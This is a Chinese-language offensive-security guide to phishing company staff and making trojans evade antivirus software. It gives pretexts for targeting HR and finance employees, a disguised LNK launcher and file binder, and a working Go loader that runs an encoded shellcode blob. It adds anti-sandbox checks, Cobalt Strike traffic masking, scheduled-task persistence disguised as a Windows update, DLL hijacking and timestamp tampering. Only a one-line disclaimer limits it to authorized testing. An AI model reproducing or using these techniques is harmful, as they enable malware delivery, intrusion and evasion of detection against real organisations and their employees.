【Web实战】钓鱼手法及木马免杀技巧
字数 2274 2025-08-10 08:28:47
钓鱼手法及木马免杀技巧全面指南
信息搜集技巧
批量邮箱搜集方法
- 使用搜索引擎语法:
site:"xxx.com" 举报或site:"xxx.com" 招聘 - 针对私人邮箱格式:
xx公司举报@126.com或xx公司招聘@qq.com - 企业邮箱通常有邮件网关拦截,优先选择私人邮箱
钓鱼手法详解
社工钓鱼
- 目标选择:HR、经理、财务等安全意识薄弱人员
- 策略:
- 选择公司分部而非总部(避开IT信息安全部)
- 准备多套场景话术和应变对策
- 可尝试电话钓鱼获取信任后通过微信发送木马
邮件钓鱼
- 群发邮件:不推荐,易被管理员发现或被邮件网关拦截
- 定向投递:搜集关键人物个人邮箱定向发送,隐蔽性强
- 钓鱼文案类型:
- 福利补贴发放(紧贴时事话题)
- 简历投递(HR面对大量简历不会仔细查看后缀)
- 举报信(实名举报投诉类邮件处理反馈快)
钓鱼文件伪装技巧
-
通用技巧:
- 木马压缩并添加密码
- 对木马文件进行双重压缩
- 使用不常见但可执行的后缀(如.scr、.com)
- 使用长文件名(利用文件显示设置不当隐藏后缀)
-
LNK钓鱼:
%windir%\system32\cmd.exe /c start .\.__MACOS__\.__MACOS__\.__MACOS__\.__MACOS1__\xxx.doc && C:\Windows\explorer.exe ".\.__MACOS__\.__MACOS__\.__MACOS__\.__MACOS1__\fsx.exe"- 图标更换路径选择:
C:\Program Files (x86)\Microsoft\Edge\Application%SystemRoot%\System32\imageres.dll%SystemRoot%\System32\shell32.dll
- 图标更换路径选择:
-
弹框错误提示:
- VBS实现:
On Error Resume Next WScript.Sleep 2000 msgbox "当前文件已损坏,请更换工具进行打开", 64, "提示" - Go实现:
package main import "github.com/gen2brain/dlgs" func box() { _, err := dlgs.Info("提示", "当前文件已损坏,请更换工具进行打开") if err != nil { panic(err) } }
- VBS实现:
-
文件捆绑器:
- 绑定正常文件和恶意木马
- 运行后自删除,释放正常文件并打开
- 释放木马至
C:\Users\Public\Videos目录运行 - 1.1版本可绕过常规杀软(360、def、火绒等)
- 1.2版本新增文件释放后自动隐藏功能
常见杀软特点分析
| 杀软类型 | 特点 |
|---|---|
| 火绒 | 编译参数限制多,对hash和字符串特征识别强,静态能过动态基本不查杀 |
| 360 | 单360查杀力不高,安装杀毒后查杀力大幅提升,容易上线后云查杀掉线 |
| 360核晶 | 开启后对整体查杀性能影响不大,避免使用进程注入方式加载shellcode |
| Defender | 新增cobaltstrike规则,推荐使用Stageless,免杀性比Stage好 |
基础加载方式示例
Python加密payload.c文件
import base64
originalShellcode = b"\xfc\xe8\x89\x00"
encryptedShellcode = bytes([byte ^ 0xFF for byte in originalShellcode])
encodedShellcode = base64.b64encode(encryptedShellcode).decode('utf-8')
print(encodedShellcode)
Go解密加载实现
package main
import (
"encoding/base64"
"syscall"
"unsafe"
"github.com/lxn/win"
"golang.org/x/sys/windows"
)
func main() {
win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
encryptedShellcode := "iz/0k4efv3d3dzYmNiclJiE/RqUSP/wlFz/8JW8//CVXP/wFJz94wD09Oka+P0a320sWC3VbVza2vno2draVmiU2Jj/8JVf8NUs/dqcR9g9vfHUCBfz3/3d3dz/ytwMQP3anJ/w/bzP8N1c+dqeUIT+Ivjb8Q/8/dqE6Rr4/RrfbNra+ejZ2tk+XAoY7dDtTfzJOpgKvLzP8N1M+dqcRNvx7PzP8N2s+dqc2/HP/P3anNi82LykuLTYvNi42LT/0m1c2JYiXLzYuLT/8ZZ44iIiIKh13PskAHhkeGRIDdzYhPv6RO/6GNs07AFFwiKI/Rr4/RqU6Rrc6Rr42JzYnNs1NIQ7QiKKe5Hd3dy0//rY2z8x2d3c6Rr42JjYmHXQ2JjbNIP7osYiinA4sP/62P0alPv6vOka+JR93RbfzJSU2zZwiWUyIoj/+sT/0tCcdfSg//obNaHd3dx13H/dEd3c+/pc2znN3d3c2zQIx6fGIoj/+hj/+rT6wt4iIiIg6Rr4lJTbNWnFvDIii8rd48up2d3c/iLh48/t2d3ecxJ6Tdnd3n/WIiIhYBAMWAx4UWB0EWB0GAhIFDlpEWURZRVkEGx4aWRoeGVkdBHdhI6t+16t+1fOvaU170U01iyzbpfayy1/2ar3+Ctaxwg13pLfzUvyPdjEAdyIEEgVaNhASGQNNVzoYDR4bGxZYQllHV18gHhkTGAAETFciTFcgHhkTGAAEVzkjV0JZRkxXEhlaIiRMVwUBTUZZQFlCXlcwEhQcGFhFR0dDRkZHQFcxHgUSERgPWEZZR1dfFg9een138a3Jhf8SuTLptsakGlHpCzEfaWu1GBbwmbCC5spmVmyh80fqMODP2ALXgmypFSNWG7SVeI0OybyhAGGyF4I4kOtTOz1MqEL3Bv8empA2KC6kL9eYO3xP4ukic3tfP++yRqP8gYDC1Aq3kBknsTnkPu3RSJoVXLtaD3jO3ibMl+cBpDBioUbhePdlxTvlhD+OZ/NDXSwjf1y7hgK70678/6sPEZl2VdgAUuFa17KFDBoUq6Cq9OLDOu5GFZp42AYcsmoQmwd8Xnc2yYfC1SGIoj9Gvs13dzd3Ns93Z3d3Ns43d3d3Ns0v0ySSiKI/5CQkP/6QP/6GP/6tNs93V3d3Pv6ONs1l4f6ViKI/9LNX8rcDwRH8cD92tPK3AqAvLy8/cnd3d3cntJ8IioiIBBIFAR4UEloSAxMVQEMZEVpGREdAQEdHT0ZPWQQfWRYHHhAAWQMSGRQSGQMUBFkUGBp3coKWdw=="
decodedShellcode, _ := base64.StdEncoding.DecodeString(encryptedShellcode)
for i := 0; i < len(decodedShellcode); i++ { decodedShellcode[i] ^= 0x77 }
kernel32, _ := syscall.LoadDLL("kernel32.dll")
VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc")
allocSize := uintptr(len(decodedShellcode))
mem, _, _ := VirtualAlloc.Call(uintptr(0), allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
if mem == 0 { panic("VirtualAlloc failed") }
buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]
copy(buffer, decodedShellcode)
syscall.Syscall(mem, 0, 0, 0, 0)
}
通用杀软bypass技巧
-
加载方式选择:
- 优先选择远程加载或文件分离加载
- 远程加载可能被溯源或URL被封堵
- 文件分离需要两个文件,更适合维权使用
-
干扰技巧:
- 添加无害化垃圾代码干扰沙箱和杀软判断
- 使用延时执行或增大程序体积绕过检测
- 选择小众语言编写loader(特征较少)
-
编译参数影响:
- Go编译参数:
-race:竞态检测编译-ldflags '-s -w':去除编译信息-ldflags '-H windowsgui':隐藏窗口
- Garble混淆库参数:
-tiny:删除额外信息-literals:混淆文字-seed=random:base64编码的随机种子
- Go编译参数:
-
隐藏黑框替代方案:
package main
import "github.com/lxn/win"
func box() int {
FreeConsole := syscall.NewLazyDLL("kernel32.dll").NewProc("FreeConsole")
FreeConsole.Call()
return 0
}
func main() {
box()
// 主逻辑代码
}
静态特征处理
-
混淆处理:
- 使用Mangle.exe工具处理:
mangle.exe -I xxx.exe -M -O out.exe - 对Go编译特征字符串替换为随机字符
- 使用Mangle.exe工具处理:
-
Base64编码关键字符串:
encodedCommand := "cnVuZGxsMzIuZXhl"
encodedArguments := "MTExTdGFydA=="
decodedCommand, _ := base64.StdEncoding.DecodeString(encodedCommand)
decodedArguments, _ := base64.StdEncoding.DecodeString(encodedArguments)
cmd := exec.Command(string(decodedCommand), string(decodedArguments))
QVM绕过技巧
-
添加资源:
- 添加图标签名版权等信息内容
- 可使用工具一键添加:https://github.com/S9MF/my_script_tools/tree/main/360QVM_bypass-public
-
行为特征处理:
- 避免直接加载shellcode(易报qvm)
- 先执行正常行为再进行shellcode加载
- 示例无害化代码:
func main() {
num1 := 5
num2 := 3
result := 0
for i := 0; i < num2; i++ { result += num1 }
// 然后执行shellcode加载逻辑
}
反沙箱技巧
- 出口IP判断:
func san() {
url := "https://myip.ipip.net/"
resp, err := http.Get(url)
if err != nil { os.Exit(1) }
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil { os.Exit(1) }
content := string(body)
if !strings.Contains(content, "中国") { os.Exit(1) }
}
- 检测桌面文件数量:
func desktop() {
desktopPath, err := os.UserHomeDir()
if err != nil { return }
desktopPath = filepath.Join(desktopPath, "Desktop")
fileCount, err := countFilesInDir(desktopPath)
if err != nil { return }
if fileCount < 7 { os.Exit(0) }
}
- 检测常见软件:
func CheckWeChatExist() {
k, err := registry.OpenKey(registry.CURRENT_USER, `SOFTWARE\\Tencent\\bugReport\\WechatWindows`, registry.QUERY_VALUE)
if err != nil { os.Exit(0) }
defer k.Close()
s, _, err := k.GetStringValue("InstallDir")
if err != nil || s == "" { os.Exit(0) }
}
- 检测pagefile.sys:
func sys() {
pageFilePath := "C:\\pagefile.sys"
_, err := os.Stat(pageFilePath)
if os.IsNotExist(err) { os.Exit(1) }
}
- 判断系统语言:
func language() {
language := os.Getenv("LANG")
if strings.Contains(language, "en_US") { os.Exit(0) }
}
内存流量处理
- 通过云函数或CDN进行伪装
- 配置OSS权限设置避免被溯源
- 自定义profile可使用工具随机生成
- 内存混淆技术:
- 动态加解密beacon内存
- 重载Ntdll等技术
执行命令bypass
- 避免直接通过CS执行截图、spawn等敏感操作
- 使用BOF替代敏感操作
- 定期关注GitHub上的新BOF工具
权限维持技巧
- 自动添加计划任务:
package main
import (
"os"
"github.com/capnspacehook/taskmaster"
)
func runWinTask(path string) {
taskService, _ := taskmaster.Connect()
defer taskService.Disconnect()
newTaskDef := taskService.NewTaskDefinition()
newTaskDef.AddAction(taskmaster.ExecAction{Path: path})
newTaskDef.AddTrigger(taskmaster.BootTrigger{
TaskTrigger: taskmaster.TaskTrigger{Enabled: true},
})
taskService.CreateTask("\\windows\\update", newTaskDef, true)
}
func main() {
path, err := os.Executable()
if err != nil { return }
runWinTask(path)
}
-
隐藏计划任务:
- 选择主机随机进程名作为计划任务程序文件名
- 将程序文件复制到
%AppData%\Microsoft\Windows\Themes\ - 计划任务名取同一随机进程
- 触发器以分钟为单位,无限期持续
- 更改Index、删除SD的键值,隐藏计划任务对应的XML文件
-
DLL劫持替换:
- 常用路径:
C:\Program Files (x86)\Google\Update - 当GoogleUpdate.exe运行时,会调用当前目录下的goopdate.dll
- 使用工具查找:
ImpulsiveDLLHijack.exe -path xxx.exe
- 常用路径:
文件时间修改技巧
- 使用工具修改文件时间,避免应急排查
- 示例工具:
ChangeTimestamp.exe xxx.exe 2021-12-09 15:08:27 - 查看.NET版本:
reg query "HKLM\Software\Microsoft\NET Framework Setup\NDP" /s /v version | findstr /i version | sort /+ 26 /r
- 安装.NET 3.5(如需要):
dism.exe /online /enable-feature /featurename:netfx3 /Source:C:\Users\hack\Desktop\dotnetfx35.exe
总结
本文详细介绍了从信息搜集、钓鱼手法到木马免杀的完整技术链条,涵盖了多种实用技巧和对抗方案。在实际应用中,需要根据目标环境特点灵活组合使用这些技术,同时注意规避法律风险,仅用于授权测试和研究目的。